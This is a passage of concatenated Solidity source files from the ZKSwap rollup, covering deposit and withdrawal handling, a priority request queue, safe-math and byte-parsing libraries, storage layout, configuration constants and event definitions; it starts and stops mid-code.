packAddressAndTokenId(msg.sender, tokenId); balancesToWithdraw[packedBalanceKey].gasReserveValue = 0xff; } /// @notice Register deposit request - pack pubdata, add priority request and emit OnchainDeposit event /// @param _tokenId Token by id /// @param _amount Token amount /// @param _owner Receiver function registerDeposit( uint16 _tokenId, uint128 _amount, address _owner ) internal { // Priority Queue request Operations.Deposit memory op = Operations.Deposit({ accountId : 0, // unknown at this point owner : _owner, tokenId : _tokenId, amount : _amount }); bytes memory pubData = Operations.writeDepositPubdata(op); addPriorityRequest(Operations.OpType.Deposit, pubData, ""); emit OnchainDeposit( msg.sender, _tokenId, _amount, _owner ); } /// @notice Register withdrawal - update user balance and emit OnchainWithdrawal event /// @param _token - token by id /// @param _amount - token amount /// @param _to - address to withdraw to function registerWithdrawal(uint16 _token, uint128 _amount, address payable _to) internal { bytes22 packedBalanceKey = packAddressAndTokenId(_to, _token); uint128 balance = balancesToWithdraw[packedBalanceKey].balanceToWithdraw; balancesToWithdraw[packedBalanceKey].balanceToWithdraw = balance.sub(_amount); emit OnchainWithdrawal( _to, _token, _amount ); } /// @notice Checks that current state not is exodus mode function requireActive() internal view { require(!exodusMode, "fre11"); // exodus mode activated } // Priority queue /// @notice Saves priority request in storage /// @dev Calculates expiration block for request, store this request and emit NewPriorityRequest event /// @param _opType Rollup operation type /// @param _pubData Operation pubdata function addPriorityRequest( Operations.OpType _opType, bytes memory _pubData, bytes memory _userData ) internal { // Expiration block is: current block number + priority expiration delta uint256 expirationBlock = block.number + PRIORITY_EXPIRATION; uint64 nextPriorityRequestId = firstPriorityRequestId + totalOpenPriorityRequests; priorityRequests[nextPriorityRequestId] = PriorityOperation({ opType : _opType, pubData : _pubData, expirationBlock : expirationBlock }); emit NewPriorityRequest( msg.sender, nextPriorityRequestId, _opType, _pubData, _userData, expirationBlock ); totalOpenPriorityRequests++; } // The contract is too large. Break some functions to zkSyncCommitBlockAddress function() external payable { address nextAddress = zkSyncCommitBlockAddress; require(nextAddress != address(0), "zkSyncCommitBlockAddress should be set"); // Execute external function from facet using delegatecall and return any value. assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), nextAddress, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } } pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract ReentrancyGuard { /// Address of lock flag variable. /// Flag is placed at random memory location to not interfere with Storage contract. uint constant private LOCK_FLAG_ADDRESS = 0x8e94fed44239eb2314ab7a406345e6c5a8f0ccedf3b600de3d004e672c33abf4; // keccak256("ReentrancyGuard") - 1; function initializeReentrancyGuard () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. assembly { sstore(LOCK_FLAG_ADDRESS, 1) } } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { bool notEntered; assembly { notEntered := sload(LOCK_FLAG_ADDRESS) } // On the first call to nonReentrant, _notEntered will be true require(notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail assembly { sstore(LOCK_FLAG_ADDRESS, 0) } _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) assembly { sstore(LOCK_FLAG_ADDRESS, 1) } } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUInt128 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b) internal pure returns (uint128) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b <= a, errorMessage); uint128 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint128 a, uint128 b) internal pure returns (uint128) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint128 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint128 a, uint128 b) internal pure returns (uint128) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint128 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b) internal pure returns (uint128) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. * * _Available since v2.5.0._ */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "./Bytes.sol"; library Utils { /// @notice Returns lesser of two values function minU32(uint32 a, uint32 b) internal pure returns (uint32) { return a < b ? a : b; } /// @notice Returns lesser of two values function minU64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } /// @notice Sends tokens /// @dev NOTE: this function handles tokens that have transfer function not strictly compatible with ERC20 standard /// @dev NOTE: call `transfer` to this token may return (bool) or nothing /// @param _token Token address /// @param _to Address of recipient /// @param _amount Amount of tokens to transfer /// @return bool flag indicating that transfer is successful function sendERC20(IERC20 _token, address _to, uint256 _amount) internal returns (bool) { (bool callSuccess, bytes memory callReturnValueEncoded) = address(_token).call( abi.encodeWithSignature("transfer(address,uint256)", _to, _amount) ); // `transfer` method may return (bool) or nothing. bool returnedSuccess = callReturnValueEncoded.length == 0 || abi.decode(callReturnValueEncoded, (bool)); return callSuccess && returnedSuccess; } /// @notice Transfers token from one address to another /// @dev NOTE: this function handles tokens that have transfer function not strictly compatible with ERC20 standard /// @dev NOTE: call `transferFrom` to this token may return (bool) or nothing /// @param _token Token address /// @param _from Address of sender /// @param _to Address of recipient /// @param _amount Amount of tokens to transfer /// @return bool flag indicating that transfer is successful function transferFromERC20(IERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { (bool callSuccess, bytes memory callReturnValueEncoded) = address(_token).call( abi.encodeWithSignature("transferFrom(address,address,uint256)", _from, _to, _amount) ); // `transferFrom` method may return (bool) or nothing. bool returnedSuccess = callReturnValueEncoded.length == 0 || abi.decode(callReturnValueEncoded, (bool)); return callSuccess && returnedSuccess; } /// @notice Sends ETH /// @param _to Address of recipient /// @param _amount Amount of tokens to transfer /// @return bool flag indicating that transfer is successful function sendETHNoRevert(address payable _to, uint256 _amount) internal returns (bool) { // TODO: Use constant from Config uint256 ETH_WITHDRAWAL_GAS_LIMIT = 10000; (bool callSuccess, ) = _to.call.gas(ETH_WITHDRAWAL_GAS_LIMIT).value(_amount)(""); return callSuccess; } /// @notice Recovers signer's address from ethereum signature for given message /// @param _signature 65 bytes concatenated. R (32) + S (32) + V (1) /// @param _message signed message. /// @return address of the signer function recoverAddressFromEthSignature(bytes memory _signature, bytes memory _message) internal pure returns (address) { require(_signature.length == 65, "ves10"); // incorrect signature length bytes32 signR; bytes32 signS; uint offset = 0; (offset, signR) = Bytes.readBytes32(_signature, offset); (offset, signS) = Bytes.readBytes32(_signature, offset); uint8 signV = uint8(_signature[offset]); return ecrecover(keccak256(_message), signV, signR, signS); } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "./Governance.sol"; import "./Verifier.sol"; import "./VerifierExit.sol"; import "./Operations.sol"; import "./uniswap/UniswapV2Factory.sol"; /// @title ZKSwap storage contract /// @author Matter Labs /// @author ZKSwap L2 Labs contract Storage { /// @notice Flag indicates that upgrade preparation status is active /// @dev Will store false in case of not active upgrade mode bool public upgradePreparationActive; /// @notice Upgrade preparation activation timestamp (as seconds since unix epoch) /// @dev Will be equal to zero in case of not active upgrade mode uint public upgradePreparationActivationTime; /// @notice Verifier contract. Used to verify block proof and exit proof Verifier internal verifier; VerifierExit internal verifierExit; /// @notice Governance contract. Contains the governor (the owner) of whole system, validators list, possible tokens list Governance internal governance; UniswapV2Factory internal pairmanager; struct BalanceToWithdraw { uint128 balanceToWithdraw; uint8 gasReserveValue; // gives user opportunity to fill storage slot with nonzero value } /// @notice Root-chain balances (per owner and token id, see packAddressAndTokenId) to withdraw mapping(bytes22 => BalanceToWithdraw) public balancesToWithdraw; /// @notice verified withdrawal pending to be executed. struct PendingWithdrawal { address to; uint16 tokenId; } /// @notice Verified but not executed withdrawals for addresses stored in here (key is pendingWithdrawal's index in pending withdrawals queue) mapping(uint32 => PendingWithdrawal) public pendingWithdrawals; uint32 public firstPendingWithdrawalIndex; uint32 public numberOfPendingWithdrawals; /// @notice Total number of verified blocks i.e. blocks[totalBlocksVerified] points at the latest verified block (block 0 is genesis) uint32 public totalBlocksVerified; /// @notice Total number of checked blocks uint32 public totalBlocksChecked; /// @notice Total number of committed blocks i.e. blocks[totalBlocksCommitted] points at the latest committed block uint32 public totalBlocksCommitted; /// @notice Rollup block data (once per block) /// @member validator Block producer /// @member committedAtBlock ETH block number at which this block was committed /// @member cumulativeOnchainOperations Total number of operations in this and all previous blocks /// @member priorityOperations Total number of priority operations for this block /// @member commitment Hash of the block circuit commitment /// @member stateRoot New tree root hash /// /// Consider memory alignment when changing field order: https://solidity.readthedocs.io/en/v0.4.21/miscellaneous.html struct Block { uint32 committedAtBlock; uint64 priorityOperations; uint32 chunks; bytes32 withdrawalsDataHash; /// can be restricted to 16 bytes to reduce number of required storage slots bytes32 commitment; bytes32 stateRoot; } /// @notice Blocks by Franklin block id mapping(uint32 => Block) public blocks; /// @notice Onchain operations - operations processed inside rollup blocks /// @member opType Onchain operation type /// @member amount Amount used in the operation /// @member pubData Operation pubdata struct OnchainOperation { Operations.OpType opType; bytes pubData; } /// @notice Flag indicates that a user has exited certain token balance (per account id and tokenId) mapping(uint32 => mapping(uint16 => bool)) public exited; mapping(uint32 => mapping(uint32 => bool)) public swap_exited; /// @notice Flag indicates that exodus (mass exit) mode is triggered /// @notice Once it was raised, it can not be cleared again, and all users must exit bool public exodusMode; /// @notice User authenticated fact hashes for some nonce. mapping(address => mapping(uint32 => bytes32)) public authFacts; /// @notice Priority Operation container /// @member opType Priority operation type /// @member pubData Priority operation public data /// @member expirationBlock Expiration block number (ETH block) for this request (must be satisfied before) struct PriorityOperation { Operations.OpType opType; bytes pubData; uint256 expirationBlock; } /// @notice Priority Requests mapping (request id - operation) /// @dev Contains op type, pubdata and expiration block of unsatisfied requests. /// @dev Numbers are in order of requests receiving mapping(uint64 => PriorityOperation) public priorityRequests; /// @notice First open priority request id uint64 public firstPriorityRequestId; /// @notice Total number of requests uint64 public totalOpenPriorityRequests; /// @notice Total number of committed requests. /// @dev Used in checks: if the request matches the operation on Rollup contract and if provided number of requests is not too big uint64 public totalCommittedPriorityRequests; /// @notice Packs address and token id into single word to use as a key in balances mapping function packAddressAndTokenId(address _address, uint16 _tokenId) internal pure returns (bytes22) { return bytes22((uint176(_address) | (uint176(_tokenId) << 160))); } /// @notice Gets value from balancesToWithdraw function getBalanceToWithdraw(address _address, uint16 _tokenId) public view returns (uint128) { return balancesToWithdraw[packAddressAndTokenId(_address, _tokenId)].balanceToWithdraw; } address public zkSyncCommitBlockAddress; address public zkSyncExitAddress; /// @notice Limit the max amount for each ERC20 deposit uint128 public maxDepositAmount; /// @notice withdraw erc20 token gas limit uint256 public withdrawGasLimit; } pragma solidity ^0.5.0; /// @title ZKSwap configuration constants /// @author Matter Labs /// @author ZKSwap L2 Labs contract Config { /// @notice ERC20 token withdrawal gas limit, used only for complete withdrawals uint256 constant ERC20_WITHDRAWAL_GAS_LIMIT = 350000; /// @notice ETH token withdrawal gas limit, used only for complete withdrawals uint256 constant ETH_WITHDRAWAL_GAS_LIMIT = 10000; /// @notice Bytes in one chunk uint8 constant CHUNK_BYTES = 11; /// @notice ZKSwap address length uint8 constant ADDRESS_BYTES = 20; uint8 constant PUBKEY_HASH_BYTES = 20; /// @notice Public key bytes length uint8 constant PUBKEY_BYTES = 32; /// @notice Ethereum signature r/s bytes length uint8 constant ETH_SIGN_RS_BYTES = 32; /// @notice Success flag bytes length uint8 constant SUCCESS_FLAG_BYTES = 1; /// @notice Max amount of fee tokens registered in the network (excluding ETH, which is hardcoded as tokenId = 0) uint16 constant MAX_AMOUNT_OF_REGISTERED_FEE_TOKENS = 32 - 1; /// @notice start ID for user tokens uint16 constant USER_TOKENS_START_ID = 32; /// @notice Max amount of user tokens registered in the network uint16 constant MAX_AMOUNT_OF_REGISTERED_USER_TOKENS = 16352; /// @notice Max amount of tokens registered in the network uint16 constant MAX_AMOUNT_OF_REGISTERED_TOKENS = 16384 - 1; /// @notice Max account id that could be registered in the network uint32 constant MAX_ACCOUNT_ID = (2 ** 28) - 1; /// @notice Expected average period of block creation uint256 constant BLOCK_PERIOD = 15 seconds; /// @notice ETH blocks verification expectation /// Blocks can be reverted if they are not verified for at least EXPECT_VERIFICATION_IN. /// If set to 0 validator can revert blocks at any time. uint256 constant EXPECT_VERIFICATION_IN = 0 hours / BLOCK_PERIOD; uint256 constant NOOP_BYTES = 1 * CHUNK_BYTES; uint256 constant CREATE_PAIR_BYTES = 3 * CHUNK_BYTES; uint256 constant DEPOSIT_BYTES = 4 * CHUNK_BYTES; uint256 constant TRANSFER_TO_NEW_BYTES = 4 * CHUNK_BYTES; uint256 constant PARTIAL_EXIT_BYTES = 5 * CHUNK_BYTES; uint256 constant TRANSFER_BYTES = 2 * CHUNK_BYTES; uint256 constant UNISWAP_ADD_LIQ_BYTES = 3 * CHUNK_BYTES; uint256 constant UNISWAP_RM_LIQ_BYTES = 3 * CHUNK_BYTES; uint256 constant UNISWAP_SWAP_BYTES = 2 * CHUNK_BYTES; /// @notice Full exit operation length uint256 constant FULL_EXIT_BYTES = 4 * CHUNK_BYTES; /// @notice OnchainWithdrawal data length uint256 constant ONCHAIN_WITHDRAWAL_BYTES = 1 + 20 + 2 + 16; // (uint8 addToPendingWithdrawalsQueue, address _to, uint16 _tokenId, uint128 _amount) /// @notice ChangePubKey operation length uint256 constant CHANGE_PUBKEY_BYTES = 5 * CHUNK_BYTES; /// @notice Expiration delta for priority request to be satisfied (in seconds) /// NOTE: Priority expiration should be > (EXPECT_VERIFICATION_IN * BLOCK_PERIOD), otherwise incorrect block with priority op could not be reverted. uint256 constant PRIORITY_EXPIRATION_PERIOD = 3 days; /// @notice Expiration delta for priority request to be satisfied (in ETH blocks) uint256 constant PRIORITY_EXPIRATION = PRIORITY_EXPIRATION_PERIOD / BLOCK_PERIOD; /// @notice Maximum number of priority request to clear during verifying the block /// @dev Cause deleting storage slots cost 5k gas per each slot it's unprofitable to clear too many slots /// @dev Value based on the assumption of ~750k gas cost of verifying and 5 used storage slots per PriorityOperation structure uint64 constant MAX_PRIORITY_REQUESTS_TO_DELETE_IN_VERIFY = 6; /// @notice Reserved time for users to send full exit priority operation in case of an upgrade (in seconds) uint constant MASS_FULL_EXIT_PERIOD = 3 days; /// @notice Reserved time for users to withdraw funds from full exit priority operation in case of an upgrade (in seconds) uint constant TIME_TO_WITHDRAW_FUNDS_FROM_FULL_EXIT = 2 days; /// @notice Notice period before activation preparation status of upgrade mode (in seconds) // NOTE: we must reserve for users enough time to send full exit operation, wait maximum time for processing this operation and withdraw funds from it. uint constant UPGRADE_NOTICE_PERIOD = MASS_FULL_EXIT_PERIOD + PRIORITY_EXPIRATION_PERIOD + TIME_TO_WITHDRAW_FUNDS_FROM_FULL_EXIT; // @notice Default amount limit for each ERC20 deposit uint128 constant DEFAULT_MAX_DEPOSIT_AMOUNT = 2 ** 85; } pragma solidity ^0.5.0; import "./Upgradeable.sol"; import "./Operations.sol"; /// @title ZKSwap events /// @author Matter Labs /// @author ZKSwap L2 Labs interface Events { /// @notice Event emitted when a block is committed event BlockCommit(uint32 indexed blockNumber); /// @notice Event emitted when a block is verified event BlockVerification(uint32 indexed blockNumber); /// @notice Event emitted when a sequence of blocks is verified event MultiblockVerification(uint32 indexed blockNumberFrom, uint32 indexed blockNumberTo); /// @notice Event emitted when user send a transaction to withdraw her funds from onchain balance event OnchainWithdrawal( address indexed owner, uint16 indexed tokenId, uint128 amount ); /// @notice Event emitted when user send a transaction to deposit her funds event OnchainDeposit( address indexed sender, uint16 indexed tokenId, uint128 amount, address indexed owner ); event OnchainCreatePair( uint16 indexed tokenAId, uint16 indexed tokenBId, uint16 indexed pairId, address pair ); /// @notice Event emitted when user sends a authentication fact (e.g. pub-key hash) event FactAuth( address indexed sender, uint32 nonce, bytes fact ); /// @notice Event emitted when blocks are reverted event BlocksRevert( uint32 indexed totalBlocksVerified, uint32 indexed totalBlocksCommitted ); /// @notice Exodus mode entered event event ExodusMode(); /// @notice New priority request event. Emitted when a request is placed into mapping event NewPriorityRequest( address sender, uint64 serialId, Operations.OpType opType, bytes pubData, bytes userData, uint256 expirationBlock ); /// @notice Deposit committed event. event DepositCommit( uint32 indexed zkSyncBlockId, uint32 indexed accountId, address owner, uint16 indexed tokenId, uint128 amount ); /// @notice Full exit committed event. event FullExitCommit( uint32 indexed zkSyncBlockId, uint32 indexed accountId, address owner, uint16 indexed tokenId, uint128 amount ); /// @notice Pending withdrawals index range that were added in the verifyBlock operation. /// NOTE: processed indexes in the queue map are [queueStartIndex, queueEndIndex) event PendingWithdrawalsAdd( uint32 queueStartIndex, uint32 queueEndIndex ); /// @notice Pending withdrawals index range that were executed in the completeWithdrawals operation. /// NOTE: processed indexes in the queue map are [queueStartIndex, queueEndIndex) event PendingWithdrawalsComplete( uint32 queueStartIndex, uint32 queueEndIndex ); event CreatePairCommit( uint32 indexed zkSyncBlockId, uint32 indexed accountId, uint16 tokenAId, uint16 tokenBId, uint16 indexed tokenPairId, address pair ); } /// @title Upgrade events /// @author Matter Labs interface UpgradeEvents { /// @notice Event emitted when new upgradeable contract is added to upgrade gatekeeper's list of managed contracts event NewUpgradable( uint indexed versionId, address indexed upgradeable ); /// @notice Upgrade mode enter event event NoticePeriodStart( uint indexed versionId, address[] newTargets, uint noticePeriod // notice period (in seconds) ); /// @notice Upgrade mode cancel event event UpgradeCancel( uint indexed versionId ); /// @notice Upgrade mode preparation status event event PreparationStart( uint indexed versionId ); /// @notice Upgrade mode complete event event UpgradeComplete( uint indexed versionId, address[] newTargets ); } pragma solidity ^0.5.0; // Functions named bytesToX, except bytesToBytes20, where X is some type of size N < 32 (size of one word) // implements the following algorithm: // f(bytes memory input, uint offset) -> X out // where byte representation of out is N bytes from input at the given offset // 1) We compute memory location of the word W such that last N bytes of W is input[offset..offset+N] // W_address = input + 32 (skip stored length of bytes) + offset - (32 - N) == input + offset + N // 2) We load W from memory into out, last N bytes of W are placed into out library Bytes { function toBytesFromUInt16(uint16 self) internal pure returns (bytes memory _bts) { return toBytesFromUIntTruncated(uint(self), 2); } function toBytesFromUInt24(uint24 self) internal pure returns (bytes memory _bts) { return toBytesFromUIntTruncated(uint(self), 3); } function toBytesFromUInt32(uint32 self) internal pure returns (bytes memory _bts) { return toBytesFromUIntTruncated(uint(self), 4); } function toBytesFromUInt128(uint128 self) internal pure returns (bytes memory _bts) { return toBytesFromUIntTruncated(uint(self), 16); } // Copies 'len' lower bytes from 'self' into a new 'bytes memory'. // Returns the newly created 'bytes memory'. The returned bytes will be of length 'len'. function toBytesFromUIntTruncated(uint self, uint8 byteLength) private pure returns (bytes memory bts) { require(byteLength <= 32, "bt211"); bts = new bytes(byteLength); // Even though the bytes will allocate a full word, we don't want // any potential garbage bytes in there. uint data = self << ((32 - byteLength) * 8); assembly { mstore(add(bts, /*BYTES_HEADER_SIZE*/32), data) } } // Copies 'self' into a new 'bytes memory'. // Returns the newly created 'bytes memory'. The returned bytes will be of length '20'. function toBytesFromAddress(address self) internal pure returns (bytes memory bts) { bts = toBytesFromUIntTruncated(uint(self), 20); } // See comment at the top of this file for explanation of how this function works. // NOTE: theoretically possible overflow of (_start + 20) function bytesToAddress(bytes memory self, uint256 _start) internal pure returns (address addr) { uint256 offset = _start + 20; require(self.length >= offset, "bta11"); assembly { addr := mload(add(self, offset)) } } // Reasoning about why this function works is similar to that of other similar functions, except NOTE below. // NOTE: that bytes1..32 is stored in the beginning of the word unlike other primitive types // NOTE: theoretically possible overflow of (_start + 20) function bytesToBytes20(bytes memory self, uint256 _start) internal pure returns (bytes20 r) { require(self.length >= (_start + 20), "btb20"); assembly { r := mload(add(add(self, 0x20), _start)) } } // See comment at the top of this file for explanation of how this function works. // NOTE: theoretically possible overflow of (_start + 0x2) function bytesToUInt16(bytes memory _bytes, uint256 _start) internal pure returns (uint16 r) { uint256 offset = _start + 0x2; require(_bytes.length >= offset, "btu02"); assembly { r := mload(add(_bytes, offset)) } } // See comment at the top of this file for explanation of how this function works. // NOTE: theoretically possible overflow of (_start + 0x3) function bytesToUInt24(bytes memory _bytes, uint256 _start) internal pure returns (uint24 r) { uint256 offset = _start + 0x3; require(_bytes.length >= offset, "btu03"); assembly { r := mload(add(_bytes, offset)) } } // NOTE: theoretically possible overflow of (_start + 0x4) function bytesToUInt32(bytes memory _bytes, uint256 _start) internal pure returns (uint32 r) { uint256 offset = _start + 0x4; require(_bytes.length >= offset, "btu04"); assembly { r := mload(add(_bytes, offset)) } } // NOTE: theoretically possible overflow of (_start + 0x10) function bytesToUInt128(bytes memory _bytes, uint256 _start) internal pure returns (uint128 r) { uint256 offset = _start + 0x10; require(_bytes.length >= offset, "btu16"); assembly { r := 